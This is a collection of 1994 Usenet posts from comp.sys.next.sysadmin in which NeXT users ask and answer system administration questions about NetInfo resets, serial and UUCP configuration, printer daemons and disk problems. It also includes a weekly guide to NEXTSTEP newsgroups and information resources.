>normally supported by the NeXT?? Or what??
On the Intel version, you would use it on a drive > 1 gig to make the
whole drive available and not just the first 1023 Mb (which DOS is
limited to), but I believe its only used for non-boot drives.
Jeff Trestrail
trestrail@delphi.com
Newsgroups: comp.sys.next.sysadmin
From: nsayer@quack.kfu.com (Nick Sayer)
Subject: HELP! Netinfo meltdown
Message-ID: <gf7BXOL@quack.kfu.com>
Sender: news@quack.kfu.com (0000-News(0000))
Organization: The Duck Pond public unix: +1 408 249 9630, log in as 'guest'.
Date: 18 Apr 1994 01:02:46 UTC
In trying to change the netinfo master server for the netinfo
domain I have aparently damaged netinfo to such an extent that
it is absolutely nonfunctional. At this point I just want to flush
the current setup and start all over again.
Unfortunately, the Stupid^H^H^H^H^Himple Network Manager is not
cooperating. If I attempt to use it to set up the new master as
a server, it blinks a box too briefly to read and then disappears.
I have tried nidomain -d / nidomain -m... various incantations of
niutil... none of them have put the server into a sane state.
The documentation seems to toggle between being utterly nonsensical and
insisting that SNS is the answer to every possible problem.
How do I totally vaporize netinfo on a particular machine so that
the SNS will set it up properly?
Sigh.
Most of the data that's important is being served by YP anyway.
All I really want the stupid thing to serve is some mounts (because
NeXTs don't have a sensible automounter) and the locations folder.
Is that too much to ask?!
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Newsgroups: comp.sys.next.sysadmin
From: schwett@netcom.com
Subject: Source for Install Disk?
Message-ID: <schwettCoFLpw.1EB@netcom.com>
Summary: Cry for Help...
Keywords: install disk NS/I help
Organization: NETCOM On-line Communication Services (408 241-9760 guest)
Date: Mon, 18 Apr 1994 01:34:44 GMT
Ouch!
I just reformatted my hard drive and some other miscellaneous fun stuff, and
when I went to reinstall NS/i I found that my install disk has suffered some
sort of corruption. It is definetely a bad disk, since it was rather
roughly treated (mea culpa...) and my hardware has not changed at all since
the last installation.
I don't rememeber the error, but it was during the second phase of booting
and the drive was making those horrible looping noises.
Is there any source for this disk other than calling NeXT for s replacement,
like perhaps someone has seen it in an image format on an FTP site?
Would it violate every copyright rule in the world to make an image of it
upload it for me? Of course, it is not good without the CD-ROM so I
wouldn't think is a problem... but who knows.
Any help would be appreciated; I will probably call NeXT tomorrow but I was
hoping to have it *running* tomorrow!
Thanks a Million,
Mark
From: robert@amo.mit.edu(Robert Lutwak)
Newsgroups: comp.sys.next.sysadmin
Subject: Configuring Serial line to allow 8-N-1 dial-in ?
Date: 17 Apr 1994 23:07:39 GMT
Organization: Massachvsetts Institvte of Technology
Message-ID: <2osffr$b5o@senator-bedfellow.MIT.EDU>
Hi.
Under NS3.2, I've been unable to get any serial ports
(black or white) to allow a serial login with 8-N-1
(8 data bits, No parity, 1 stop bit).
I've tried all possible combinations of ap:np:p8,
etc. in gettytab, but whatever I try, I get gibberish (or worse)
on my vt100 terminal (plugged right into the port) unless I set
the terminal to 7-e-1.
Has anybody else succeeded or is this a bug?
Thanks for any help you can provide.
Robert
--
Robert Lutwak robert@amo.mit.edu
MIT Atomic Resonance and Spectroscopy Laboratory
--- Everything I say via this computer belongs to MIT. ---
---> NeXTmail always welcome <---
Newsgroups: comp.sys.next.sysadmin
From: francisr@stupid.ucs.indiana.edu (Rob Francis)
Subject: Re: HELP! Netinfo meltdown
Message-ID: <CoFssE.27q@usenet.ucs.indiana.edu>
Sender: news@usenet.ucs.indiana.edu (USENET News System)
Organization: Indiana University
References: <gf7BXOL@quack.kfu.com>
Date: Mon, 18 Apr 1994 04:07:25 GMT
In article <gf7BXOL@quack.kfu.com>, Nick Sayer <nsayer@quack.kfu.com> wrote:
>
>How do I totally vaporize netinfo on a particular machine so that
>the SNS will set it up properly?
Should do what you want:
su
cd /etc
mv netinfo netinfo.OLD
mv hostconfig hostconfig.OLD
cp -rp /usr/template/client/etc/netinfo /etc
cp -p /usr/template/client/etc/hostconfig /etc
/etc/reboot
-rob
---
Rob Francis Unix Systems Specialist, University Computing Services
Indiana University, francisr@indiana.edu (812)855-0327
Newsgroups: comp.sys.next.sysadmin
From: mark@cyantic.com (Mark T. Dornfeld)
Subject: Re: pop on 110/tcp
Organization: CYANTIC Systems
Date: Mon, 18 Apr 1994 01:28:02 GMT
Message-ID: <1994Apr18.012802.930@cyantic.com>
References: <smh-170494034702@smh-ppc.netserv.com> <smh-170494140720@smh-ppc.netserv.com>
In article <smh-170494140720@smh-ppc.netserv.com> smh@netserv.com (Scott M. Hinnrichs) writes:
>> Ok, I give up. I installed popper on my NS3.2 machine and port 110 refuses
>> to
>> answer. It answers fine on port 109. I configured it correctly in
>> /etc/services and in /etc/inetd.conf. I checked and nothing else defined
>> use
>> of port 110 in /etc/services, but I get a connection refused error when
>> doing
>> it as a telnet localhost 110, telnet localhost 109 works fine.
>>
>
>Yikes, another NetInfo file! Thanks to all that sent me the correct
>answer!
>
Stuff deleted about popper configuration in netinfo.
Could this be the same type of problem that is preventing Sun's PCNFSD from
doing authentication on NS?
I have not been able to get PCNFSD to do authentication.
Thanks
--
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1 Eva Road Suite 301 Facsimile: (416) 621-6212
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From: nsayer@quack.kfu.com (Nick Sayer)
Subject: Re: HELP! Netinfo meltdown
Message-ID: <gf8bH0F@quack.kfu.com>
Sender: news@quack.kfu.com (0000-News(0000))
Organization: The Duck Pond public unix: +1 408 249 9630, log in as 'guest'.
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Date: 18 Apr 1994 06:04:23 UTC
nsayer@quack.kfu.com (Nick Sayer) writes:
>In trying to change the netinfo master server for the netinfo
>domain I have aparently damaged netinfo to such an extent that
>it is absolutely nonfunctional. At this point I just want to flush
>the current setup and start all over again.
>Unfortunately, the Stupid^H^H^H^H^Himple Network Manager is not
>cooperating. If I attempt to use it to set up the new master as
>a server, it blinks a box too briefly to read and then disappears.
It turns out that this box was saying 'creating new parent domain.
This may take a while'. Aparently the procedure was failing at
that point. I still don't know why.
>I have tried nidomain -d / nidomain -m... various incantations of
>niutil... none of them have put the server into a sane state.
>The documentation seems to toggle between being utterly nonsensical and
>insisting that SNS is the answer to every possible problem.
>How do I totally vaporize netinfo on a particular machine so that
>the SNS will set it up properly?
>Sigh.
>Most of the data that's important is being served by YP anyway.
>All I really want the stupid thing to serve is some mounts (because
>NeXTs don't have a sensible automounter) and location/{ntp,sendmail}.
>Is that too much to ask?!
Thanks to those who replied. Clobbering both /et/hostconfig and /etc/netinfo
(by copying over them from /usr/template) started the machine over again.
That let me start the network over again properly.
There's a special room in Hell waiting for whoever came up with netinfo.
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From: eps@futon.SFSU.EDU (Eric P. Scott)
Newsgroups: comp.sys.next.sysadmin
Subject: Re: Configuring Serial line to allow 8-N-1 dial-in ?
Date: 18 Apr 1994 06:57:25 GMT
Organization: San Francisco State University
Message-ID: <2otb0l$dsu@nic-nac.CSU.net>
References: <2osffr$b5o@senator-bedfellow.MIT.EDU>
In article <2osffr$b5o@senator-bedfellow.MIT.EDU>
robert@amo.mit.edu writes:
>Under NS3.2, I've been unable to get any serial ports
>(black or white) to allow a serial login with 8-N-1
>(8 data bits, No parity, 1 stop bit).
>
>I've tried all possible combinations of ap:np:p8,
>etc. in gettytab, but whatever I try, I get gibberish (or worse)
>on my vt100 terminal (plugged right into the port) unless I set
>the terminal to 7-e-1.
>
>Has anybody else succeeded or is this a bug?
I haven't tried under NEXTSTEP 3.x, but on a NS 2.1 system I had
this working using something like:
T|local.9600:\
:sp#9600:ce:ck:cl=\E[H\E[2J:dx:ep:ht:zp:f2#012601200330:
The "secret" is the zp flag.
+ Try this first without the f2. Add it if you have problems.
If you're _still_ having problems after that, report back.
BTW, you can put really interesting things in the cl string. :-)
-=EPS=-
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From: ian_stewart@nyro.com (Ian H. Stewart)
Subject: mail server source wanted
Message-ID: <CoG0q1.zw@nyro.com>
Sender: ian@nyro.com (Ian H. Stewart)
Organization: NYRO Technix, Inc. - 415 664-1170
Date: Mon, 18 Apr 1994 06:58:49 GMT
I am looking for the source code to a mail server like the one sonata and
NeXT are using for email and NeXTmail. NeXTmail or ftp pointer
appreciated.
Thanks,
Ian H. Stewart
415 664-1170 voice
415 664-5530 fax
From: mcgredo@crl.com (Donald R. McGregor)
Newsgroups: comp.sys.next.hardware,comp.sys.next.sysadmin
Subject: Floppy drive panic
Date: 18 Apr 1994 00:12:01 -0700
Organization: YoyoDyne Propulsion Systems
Distribution: world
Message-ID: <2otbs1$6ep@crl.crl.com>
I hate PC hardware.
I get a consistent panic when I attempt to access by 1.44 3.5"
floppy. On boot, I get errors to the console:
FloppyCntIo:flushIntMsgs: Stray Interupt
this will repeat a couple-three times, but otherwise it boots
OK.
When I attempt to access the floppy drive, the system will panic
with
Panic:(cpu 0) FloppyArch: invalid dma byte count
The Configure app shows the floppy using dma 2 and IRQ 6, with
no conflicting assignments. The IO base is at 0x3f2 , again
with no apparent conflicts.
The controller is a floppy/IDE/serial job that apparently is
configured entirely from jumpers.
Would Configure.app lie to me, or is something else the
matter?
--
Don McGregor | "If there is a God, the Cardinal de Richelieu
mcgredo@crl.com | will have much to answer for. If not...well,
| he had a successful life."
Newsgroups: comp.sys.next.sysadmin
From: root@beach (Operator)
Subject: NewsGrazer
Message-ID: <CoG1FG.Ax@beach.com>
Keywords: posting
Sender: root@beach.com (Operator)
Organization: SonRise Corp.
Date: Mon, 18 Apr 1994 07:14:03 GMT
Can anyone help me figure out why I can post news from root but not from any
other account. I've checked all the permissions I can think of. Thanks for any
help you can offer. ksmith@beach.com
From: matthewm@sgate.com (Mike Matthews)
Newsgroups: comp.sys.next.sysadmin
Subject: netstat bombs lookupd?
Date: 17 Apr 1994 12:27:56 -0400
Organization: Southgate Internet Host
Message-ID: <2oro2c$pd@sgate.com>
On healthy NeXTs, netstat works just fine.
On ours, it doesn't.
Using lookupd logging on a healthy NeXT, netstat does a getprotoent called by
beellions of gethostbyaddr's and getservbyport's.
On our NeXT, we never get the getprotoent logged. Anything that does a
lookupd request (which is just about everything) will hang. This includes
logins.
I'm not familiar enough with the getprotoent, other than to know it looks at
the /protocols NetInfo list. That seems to be in perfect condition on the
machine in question.
The machine in question, I should add, is a NeXTcube 040 33Mhz, NEXTSTEP 3.2,
running TransSys DialupIP in CSLIP mode(not PNI). We've always had problems,
but never so much for such a long period of time (e.g. it's been doing this
for a week).
I've disabled netstat, but this isn't a long term solution. The binary
netstat is identical to other non-CSLIPping Cubes.
Has ANYONE seen something like this before? Would CSLIP munge up the protocol
list? That seems highly unlikely...
------
Mike Matthews, Mike_Matthews@sgate.com (NeXTmail accepted)
------
"Irrigation of the land with sewater desalinated by fusion power is ancient.
It's called 'rain'."
-- Michael McClary, in alt.fusion
From: gpoc@cube.sm.dsi.unimi.it (Gianfranco Pocecai)
Newsgroups: comp.sys.next.sysadmin
Subject: spurious DMA interrupt
Date: 18 Apr 1994 15:21:50 GMT
Organization: Computer Science Dep. - Milan University
Distribution: world
Message-ID: <2ou8ie$fag@ghost.sm.dsi.unimi.it>
Hi!
I have some strange error messages on my black cube console:
spurious DMA interrupt: state 0x1000000 channel 0x2000110
spurious DMA interrupt: state 0x1000000 channel 0x2000110
spurious DMA interrupt: state 0x1000000 channel 0x2000110
spurious DMA interrupt: channel 0x2000110
spurious DMA interrupt: state 0x1000000 channel 0x2000110
Anybody knows the meaning??
I hope it's nothing serious.
Thanks
Gianfranco
--
Gianfranco Pocecai
President of The Italian NEXTSTEP User Group
University of Milano - Computer Science Department
Via Comelico, 39/41
20135 Milano - Italy
E-mail : gpoc@cube.sm.dsi.unimi.it
From: hubert@arles.univ-rennes1.fr (Hubert Philippe)
Newsgroups: comp.sys.next.sysadmin
Subject: Help for Tektronic Ethernet printer...
Date: 18 Apr 1994 16:33:52 GMT
Organization: Universite de Rennes 1, France
Message-ID: <2oucpg$eqv@news.univ-rennes1.fr>
I have a NeXT network and would like to install an Ethernet Color
Printer on that network. It isn't possible to do that with the
administation tools and it is not explain in manuals!!
I probably have to change something in the Termcap file... to
tell them the IP adress of my printer...
Can anyone help?
Moreover, has anyone the drivers for the Tektronix 220i color
printer?
Thank you in advance.
Philippe.
________
email: hubert@arles.univ-rennes1.fr
From: wherndon@smiley.mitre.org (William Herndon)
Newsgroups: comp.sys.next.sysadmin,comp.sys.next.hardware
Subject: UUCP and high speed connections: HELP!
Date: 18 Apr 1994 17:12:03 GMT
Organization: The MITRE Corporation, McLean, VA
Message-ID: <2ouf13$e4v@newsflash.mitre.org>
OK, I've read the online documentation. I've coordinated with the ad-
ministrator of the site that "feeds" my NeXTStation. I've tried mul-
tiple configurations, and I still can't seem to get a uucp connection
that transfers more than 700 to 800 characters/second.
Here is my situation: I've got a ZyXEL U-1496e and am connecting via
UUCP to a feeder site for news and mail. UUCP connects through
/dev/cufb at 19200 (maybe) to my modem which in turn connects to my
feeder site at 14400 (V.32bis) with V.42 error correction. Compres-
sion is explicitely disabled. (My counterpart says that compression
tends to slow down batched news transfers because they are already
compressed.) CTS/RTS is enabled (by default, I believe) so that the
modem is not swamped by the 19200 speed of /dev/cufb.
Now for the question/problem: Even with all of this, why am I still
getting data rates (as measured in the UUCP SYSLOG file) of less than
800 cps? I don't get it; the setup is behaving as if it were running
at 9600. Is the stock NeXT UUCP package incapable of setting the
device to a speed above 9600?
Well anyway here are what I believe are the relevant entries in my
L.sys and L-devices files:
L-devices -
DIR cufb unused 19200 direct
L.sys -
<feedersite> Any DIR 19200 cufb \
"" AT \
OK ATL2 \ /* speaker volume = 2 */
OK AT&K3 \ /* disable compression */
OK AT&N17 \ /* V.32bis 14400...4800 */
OK ATDT5510095 \
CONNECT \r\c \
ogin:--ogin pandora \
ssword: <mypasswd>
Anybody got an ideas? Does v.32bis imply a compression? Is there a
way to verify the current speed of /dev/cufb while a UUCP connection is
enabled? Any and all help is appreciated. Thanks much.
Sincerely,
- Max
| William R. Herndon \ The MITRE Corporation, Dept. G023 |
| EMail: wherndon@mitre.org \ Secure Information Technology |
| NeXTMail: bill@pandora.gcr.com \ MS-Z231, 703.883.6393 |
| |
| "Necessity is the mother of strange bedfellows." |
Newsgroups: comp.sys.next.sysadmin
From: francisr@stupid.ucs.indiana.edu (Rob Francis)
Subject: Re: spurious DMA interrupt
Message-ID: <CoGs9A.LJ1@usenet.ucs.indiana.edu>
Sender: news@usenet.ucs.indiana.edu (USENET News System)
Organization: Indiana University
References: <2ou8ie$fag@ghost.sm.dsi.unimi.it>
Date: Mon, 18 Apr 1994 16:53:33 GMT
In article <2ou8ie$fag@ghost.sm.dsi.unimi.it>,
Gianfranco Pocecai <gpoc@cube.sm.dsi.unimi.it> wrote:
>
>Hi!
>I have some strange error messages on my black cube console:
>
>
> spurious DMA interrupt: state 0x1000000 channel 0x2000110
>
>
> spurious DMA interrupt: channel 0x2000110
>
NeXT told me it's a networking problem, and never told me any more.
I started seeing it when I NFS mounted a directory from my NeXT to my
SGI.
-rob
---
Rob Francis Unix Systems Specialist, University Computing Services
Indiana University, francisr@indiana.edu (812)855-0327
Newsgroups: comp.sys.next.hardware,comp.sys.next.sysadmin
From: gvdl@obelix (Godfrey Martin van der Linden)
Subject: Media Failure on NSFIP SCSI drive
Message-ID: <CoC806.yy@obelix.apana.org.au>
Sender: gvdl@obelix.apana.org.au (Godfrey Martin van der Linden)
Date: Sat, 16 Apr 1994 05:45:41 GMT
Ok, I just spent the most frustrating 2 weeks of my life. 2 Bad blocks and I
may as well not have a Next box. I mean I couldn't even get the system to boot
up enough to run a fsck.
After reading the manuals, (User's Guide for f..k's sake). I couldn't find any
way of emergency booting from either the floppy or the CD rom.
I ended up buying a new hard drive (I needed one anyway), installed it as the
boot drive and loaded up NS. Only then could I fsck the old drive to recover
some of the data! I can't afford a real backup device. If this happens to me
again I'll be totally screwed.
Now why the hell can't NeXT get their shit together and print some decent
emergency recovery stuff. The NS User's guide provided with 3.2 is a joke. I
know something about unix and could eventually recover, what is a newbie
supposed to do?
vary pissed off
Godfrey
---
Godfrey van der Linden
Sydney, Australia
NeXTMail Preferred
--
Godfrey van der Linden
Sydney, Australia
NeXTMail Preferred
From: hayden@whitewater.chem.wisc.edu (Jessica Hayden)
Newsgroups: comp.sys.next.sysadmin
Subject: Anonymous FTP logging?
Date: 18 Apr 1994 16:54:54 GMT
Organization: Division of Information Technology
Message-ID: <2oue0u$aao@news.doit.wisc.edu>
Is there a way to keep a log of all users (based on their ident passwd) who
access an anonymous ftp site? Does the system do this anyway?
Thanks for any help
Jessica Hayden
Dept. Chemistry, University of Wisconsin - Madison
hayden@drumlin.chem.wisc.edu
From: sanguish@digifix.com
Newsgroups: comp.sys.next.announce,comp.sys.next.misc,comp.sys.next.sysadmin,comp.sys.next.advocacy,comp.sys.next.hardware,comp.sys.next.software,comp.sys.next.bugs,comp.sys.next.programmer,comp.sys.next.marketplace
Subject: Quick Guide to NEXTSTEP information on the Internet
Date: 18 Apr 1994 15:25:40 -0400
Organization: Next Announcements
Message-ID: <2oumrk$mij@digifix.digifix.com>
This post is made weekly, to help 'point' users to more NEXTSTEP information
Topics include:
NEXTSTEP World Wide Web Product Information Server online
NEXTSTEP Product Information Mail Server online
comp.sys.next newsgroups
related newsgroups
comp.sys.next newsgroups mailing list
ftp sites
NeXTanswers
Much of this information is also available using the World Wide Web,
<http://digifix.digifix.com/index.html>
NEXTSTEP World Wide Web Product Information Server online
---------------------------------------------------------
A product directory built around the World Wide Web system,
this will allow full multimedia announcements by NEXTSTEP
developers, as well as the ability to browse the available
products for NEXTSTEP.
This service is online now, and can be reached at
http://digifix.digifix.com/
it can be reached using OmniWeb (available from ftp.omnigroup.com)
or Mosaic.
The entries are coming in quite quickly, and I'll be moving
the entire NEXTSTEP Third Party Catalog contents in as soon
as they become available.
NEXTSTEP Product Information Mail Server online
---------------------------------------------------------
The NEXTSTEP Product Information Mail Server is now available
for product literature and pricing from NEXTSTEP developers.
You can get information on using the mail server at
ns-products@digifix.com
Suggestions or comments can be directed to me at sanguish@digifix.com
comp.sys.next.* newsgroups
--------------------------
Comp.Sys.Next.Advocacy
This is the "why NEXTSTEP is better (or worse) than
anything else in the known universe" forum. It was
created specifically to divert lengthy flame wars
from .misc.
Comp.Sys.Next.Announce
Announcements of general interest to the NeXT community
(new products, FTP submissions, user group meetings,
commercial announcements etc.)
The NEXTSTEP FAQs are posted here monthly as well.
This is a moderated newsgroup, meaning that you can't
post to it directly. Submissions should be e-mailed
to next-announce@digifix.com where the moderator
(Scott Anguish) will screen them for suitability.
Comp.Sys.Next.Bugs
A place to report verifiable bugs in NeXT-supplied
software. Material e-mailed to Bug_NeXT@NeXT.COM
is not published, so this is a place for the net
community find out about problems when they're
discovered. This newsgroup has a very poor signal/noise
ratio--all too often bozos post stuff here that really
belongs someplace else. It rarely makes sense to
crosspost between this and other c.s.n.* newsgroups, but
individual reports may be germane to certain non-NeXT-
specific groups as well.
Comp.Sys.Next.Hardware
Discussions about NeXT-label hardware and compatible
peripherals, and non-NeXT-produced hardware (e.g.
Intel) that is compatible with NEXTSTEP. In most
cases, questions about Intel hardware are better
asked in comp.sys.ibm.pc.hardware. Questions about
SCSI devices belong in comp.periphs.scsi. This isn't
the place to buy or sell used NeXTs--that's what
.marketplace is for.
Comp.Sys.Next.Marketplace
NeXT stuff for sale/wanted. Material posted here must
not be crossposted to any other c.s.n.* newsgroup, but
may be crossposted to misc.forsale.computers.workstation
or appropriate regional newsgroups.
Comp.Sys.Next.Misc
For stuff that doesn't fit anywhere else. Anything you
post here by definition doesn't belong anywhere else in
c.s.n.*--i.e. no crossposting!!!
Comp.Sys.Next.Programmer
Questions and discussions of interest to NEXTSTEP
programmers. This is primarily a forum for advanced
technical material.
The NEXTSTEP programmer FAQs are posted here.
Generic UNIX questions belong elsewhere (comp.unix.questions),
although specific questions about NeXT's implementation or
porting issues are appropriate here. Note that there are
several other more "horizontal" newsgroups (comp.lang.objective-c,
comp.lang.postscript, comp.os.mach, comp.protocols.tcp-ip,
etc.) that may also be of interest.
Comp.Sys.Next.Software
This is a place to talk about [third party] software
products that run on NEXTSTEP systems.
Comp.Sys.Next.Sysadmin
Stuff relating to NeXT system administration issues;
in rare cases this will spill over into .programmer
or .software.
related Newsgroups
------------------
Comp.Soft-Sys.Nextstep
Like comp.sys.next.software and comp.sys.next.misc combined. Exists
because NeXT is a software-only company now, and comp.soft-sys is
for discussion of software systems with scope similar to NEXTSTEP.
Comp.Lang.Objective-C
Technical talk about the Objective-C language. Implemetations
discussed include NeXT, Gnu, Stepstone, etc.
Comp.Object
Technical talk about OOP in general. Lots of C++ discussion,
but NeXT and Objective-C get quite a bit of attention. At
times gets almost philosophical about objects, but then
again OOP allows one to be a programmer/philosopher.
(The original Comp.Sys.Next no longer exists--do not attempt to
post to it.)
Exception to the crossposting restrictions: announcements of
usenet RFDs or CFVs, when made by the news.announce.newgroups
moderator, may be simultaneously crossposted to all c.s.n.*
newsgroups.
Getting the Newsgroups without getting News
-------------------------------------------
Thanks to Michael Ross at antigone.com, the main NEXTSTEP groups are
now available as a mailing list digest as well.
next-nextstep-d
next-advocacy-d
next-announce-d
next-bugs-d
next-hardware-d
next-marketplace-d
next-misc-d
next-programmer-d
next-software-d
next-sysadmin-d
(For a full description, send mail saying LISTS to
<digestif@antigone.com>).
The subscription syntax is essentially the same as LISTSERV's.
To subscribe, send a message to <digestif@antigone.com> saying:
SUB Listname YourName
Example: SUB next-hardware-d John Doe
The ftp sites
-------------
cs.orst.edu: The main site for North American submissions
nova.cc.purdue.edu: Lots of older stuff, but very short on disk space
ftp.informatik.uni-muenchen.de: In Germany.
terra.stack.urc.tue.nl (Dutch NEXTSTEP User Group) and
cube.sm.dsi.unimi.it (Italian NEXTSTEP User Group)
ftp.next.com: See the below
ftp.next.com and NextAnswers@next.com
-------------------------------------
From the document 1000_Help from ftp.next.com
Welcome to the NeXTanswers information retrieval system!
This system allows you to request online technical documents, drivers, and
other software, which are then sent to you automatically. You can request
documents by fax or Internet electronic mail, or you can transfer them by
anonymous ftp.
NeXTanswers is an automated retrieval system. Requests sent to it are
answered electronically, and are not read or handled by a human being.
NeXTanswers does not answer your questions or forward your requests.
USING NEXTANSWERS BY E-MAIL
To use NeXTanswers by Internet e-mail, send requests to NeXTanswers@next.com.
Files are sent as NeXTmail attachments by default; you can request they be
sent as ASCII text files instead.
To request a file, include that file's ID number in the Subject line or the
body of the message. You can request several files in a single message.
You can also include commands in the Subject line or the body of the message.
These commands affect the way that files you request are sent:
ASCII causes the requested files to be sent as ASCII text
SPLIT splits large files into 95KB chunks, using the MIME
Message/Partial specification
These commands return information about the NeXTanswers system:
HELP returns this help file
INDEX returns the list of all available files
INDEX BY DATE returns the list of files, sorted newest to oldest
SEARCH keywords lists all files that contain all the keywords you list
(ignoring capitalization)
For example, a message with the following Subject line requests
three files:
Subject: 2101 2234 1109
A message with this body requests the same three files be
sent as ASCII text files:
2101 2234 1109 ascii
This message requests two lists of files, one for each search:
Subject:
SEARCH Dell SCSI
SEARCH NetInfo domain
NeXTanswers will reply to the address in your From: line. To use a different
address either set your Reply-To: line, or use the NeXTanswers command
REPLY-TO <your-address>
If you have any problem with the system or suggestions for improvement,
please send mail to NeXTanswers-request@NeXT.com.
USING NEXTANSWERS BY FAX
To use NeXTanswers by fax, call (415) 780-3990 from a touch-tone phone and
follow the instructions. You'll be asked for your fax number, a number to
identify your fax (like your phone extension or office number), and the ID
numbers of the files you want. You can also request a list of available
files. When you finish entering the file numbers, end the call and the
files will be faxed to you.
If you have problems using this fax system, please call Technical Support
at 1-800-848-6398. You cannot use the fax system outside the U.S & Canada.
USING NEXTANSWERS BY ANONYMOUS FTP
To use NeXTanswers by Internet anonymous FTP, connect to FTP.NEXT.COM
and read the help file pub/NeXTanswers/README. If you have problems using
this, please send mail to NeXTanswers-request@NeXT.com.
Written by: Eric P. Scott eps@toaster.SFSU.EDU and Scott Anguish sanguish@digifix.com
Additions from: Greg Anderson (Greg_Anderson@afs.com) and Michael Pizolato (Michael_Pizolato@afs.com)
Newsgroups: comp.sys.next.sysadmin
From: henry@trilithon.com (Henry McGilton)
Subject: Re: hanging printers
Message-ID: <1994Apr17.232415.2285@trilithon.com>
Sender: henry@trilithon.com
Organization: Trilithon Software
References: <940415142127.358AACUL.malc@jeeves>
Date: Sun, 17 Apr 1994 23:24:15 GMT
In article <940415142127.358AACUL.malc@jeeves> M.Crawford@dcs.shef.ac.uk
(Malcolm Crawford) writes:
* Occasionally non-conforming PostScript etc hangs our NeXT
* printers. Removing the offending job does not always mean
* that the remainder of the queue is printed, however: even
* when other jobs are listed as being "active" the printer
* just sits there.
* Restarting the daemon etc with lpc has no effect, and our
* only reliable solution is, unfortunately, and inelegantly,
* to reboot the machine.
* Can anybody offer a more satisfactory solution? What is
* special about the way rebooting starts lpd etc?
Aaaahhh, yes -- Praying to the Printer Daemons.
Once piece of magic which frequently works is to simulate the startup
sequence from /etc/rc, as follows:
1. Kill off all copies of lpd
2. rm -f /dev/printer
3. /usr/lib/lpd
4. sometimes you need to do lpc restart <printer>
Lots of luck. The BSD spooling system has been broken like this
for about 15 years now and no UNIX vendor wants to fix the problem.
If it's any consolation, when you go over to System V/Slowlaris,
it's even worse.
........ Henry
Newsgroups: comp.sys.next.sysadmin
From: hliu@ennex3.eng.utsa.edu (Hang Liu)
Subject: Help: Cube can not find NetInfo server.
Message-ID: <1994Apr18.194727.15299@ringer.cs.utsa.edu>
Keywords: boot, communication
Sender: news@ringer.cs.utsa.edu
Organization: Univ of Texas at San Antonio
Date: Mon, 18 Apr 1994 19:47:27 GMT
We have several Next cubes. Recently one of them can not find the NetInfo
server during booting. The response is "The network is disabled or your
computer isn't connected to it" and "Still searching for parent network
administration (NetInfo) server" during bootup. We have checked all the
addresses for this cube in root domain and local domain and they seem no
problem. And the cable connection is also good. What can we do about this?
Any tips would be greatly appreciated.
Please respond by email!
Thanks.
HANG LIU
hliu@ennex1.eng.utsa.edu
From: buzz@cs.tu-berlin.de (Bastian Schlueter)
Newsgroups: comp.sys.next.sysadmin
Subject: sd2a as (default) rootdevice ?
Date: 18 Apr 1994 23:27:08 GMT
Organization: Berlin University of Technology
Message-ID: <2ov1g0$lhq@news.cs.tu-berlin.de>
Mime-Version: 1.0
Content-Type: text/plain; charset=iso-8859-1
Content-Transfer-Encoding: 8bit
Hello Everyone,
now I've got my new disk running and I want it to be the rootdevice.
The problem is that the disk is device sd2a. I can boot be manually
typing "bsd(2,0,0)sdmach rootdev=sd2" but this string doesn't fit into
the vram for the default bootstring (12chars only).
Does anybody know a work around? Maybe a shorter term that does the
same? Or is it possible to patch the bootblock/kernel on the disk (where)?
Thanks for any hints.
Bastian
--
Bastian Schlueter TEL.: +49 030 / 693 49 26 (priv)
Urbanstr. 25 Aufg. E 691 54 79 (Fax/Data) __o
D-10967 Berlin 314 25 973 (uni) _`\<,_
Germany e-mail: buzz@(marvin.FB10|cs).TU-Berlin.DE (_)/ (_)
From: buzz@cs.tu-berlin.de (Bastian Schlueter)
Newsgroups: comp.sys.next.sysadmin
Subject: FUJITSU M2694ES-512 Rev 812A with 1024b/s ?
Date: 18 Apr 1994 23:34:42 GMT
Organization: Berlin University of Technology
Message-ID: <2ov1u4$lli@news.cs.tu-berlin.de>
Mime-Version: 1.0
Content-Type: text/plain; charset=iso-8859-1
Content-Transfer-Encoding: 8bit
Hello Again,
does anybody got a FUJITSU M2694ES-512 Rev 812A succesfully formated
to 1024bytes/sector?
I tried the following:
marvin ROOT 44 (~buzz/tmp): ./sdformat -i4 -b1024 -f
#(sdformat didn't reported any errors)
marvin ROOT 46 (~buzz/tmp): disk /dev/rsd2a
Read of sector 0 failed
marvin ROOT 47(~buzz/tmp): cat /tmp/comsole.log
[...]
sd2 (4,0): ERROR op:0x28 sd_state:7 scsi status:0x0
^Msd2 (4,0): ERROR op:0x28 sd_state:7 scsi status:0x0
^Msd2 (4,0): ERROR op:0x28 sd_state:7 scsi status:0x0
Any hints?
B.t.w. does anybody know where these bloody ^M do come from? They
seemed to appaered with NS3.1.
Greetings
Bastian
--
Bastian Schlueter TEL.: +49 030 / 693 49 26 (priv)
Urbanstr. 25 Aufg. E 691 54 79 (Fax/Data) __o
D-10967 Berlin 314 25 973 (uni) _`\<,_
Germany e-mail: buzz@(marvin.FB10|cs).TU-Berlin.DE (_)/ (_)
From: jalano@gluttony.ugcs.caltech.edu (J. Alan Low)
Newsgroups: comp.sys.next.sysadmin
Subject: NeXTSTEP 3.2 Intel BOOTP client: How?
Date: 18 Apr 1994 22:29:11 GMT
Organization: California Institute of Technology, Pasadena, CA
Message-ID: <2ov1jn$i9o@gap.cco.caltech.edu>
Has anyone had any luck getting an Intel NeXTSTEP 3.2 machine to work
as a bootp client? There is reference to the fact that this is possible
in the ReleaseNotes, and when I do boot with the HostManager set to
AutoConfigure, I can see the right domain name preceded by garbled
characters repeat on the screen. It looks like it's trying, but is there
something else I have to set to have it get the IP address and hostname
correctly?
- Alan
jalano@ugcs.caltech.edu
--
***********************
jalano@ugcs.caltech.edu
***********************
From: plenson@hi_presure_lab.gp.uwo.ca
Newsgroups: comp.sys.next.sysadmin
Subject: Mounting a mac floppy disk
Date: 19 Apr 1994 02:01:24 GMT
Organization: The University of Western Ontario, London, Ont. Canada
Message-ID: <2ove1k$dpn@falcon.ccs.uwo.ca>
Keywords: mac
Hi, I'm trying to read a mac disk on my NeXT (black) 3.0
and having no luck. I seemed to remember that this was
possible any suggestions?
thanx peter
From: therbert@umiami.ir.miami.edu
Newsgroups: comp.sys.next.sysadmin
Subject: cancel <1994Apr16.110756.17460@umiami.ir.miami.edu>
Message-ID: <1994Apr18.165836.17466@umiami.ir.miami.edu>
Date: 18 Apr 94 16:58:36 EDT
Control: cancel <1994Apr16.110756.17460@umiami.ir.miami.edu>
cancel <1994Apr16.110756.17460@umiami.ir.miami.edu>
Newsgroups: comp.sys.next.sysadmin
From: jpmeia@netcom.com (James McCann)
Subject: gatorFTP1_4 Problem
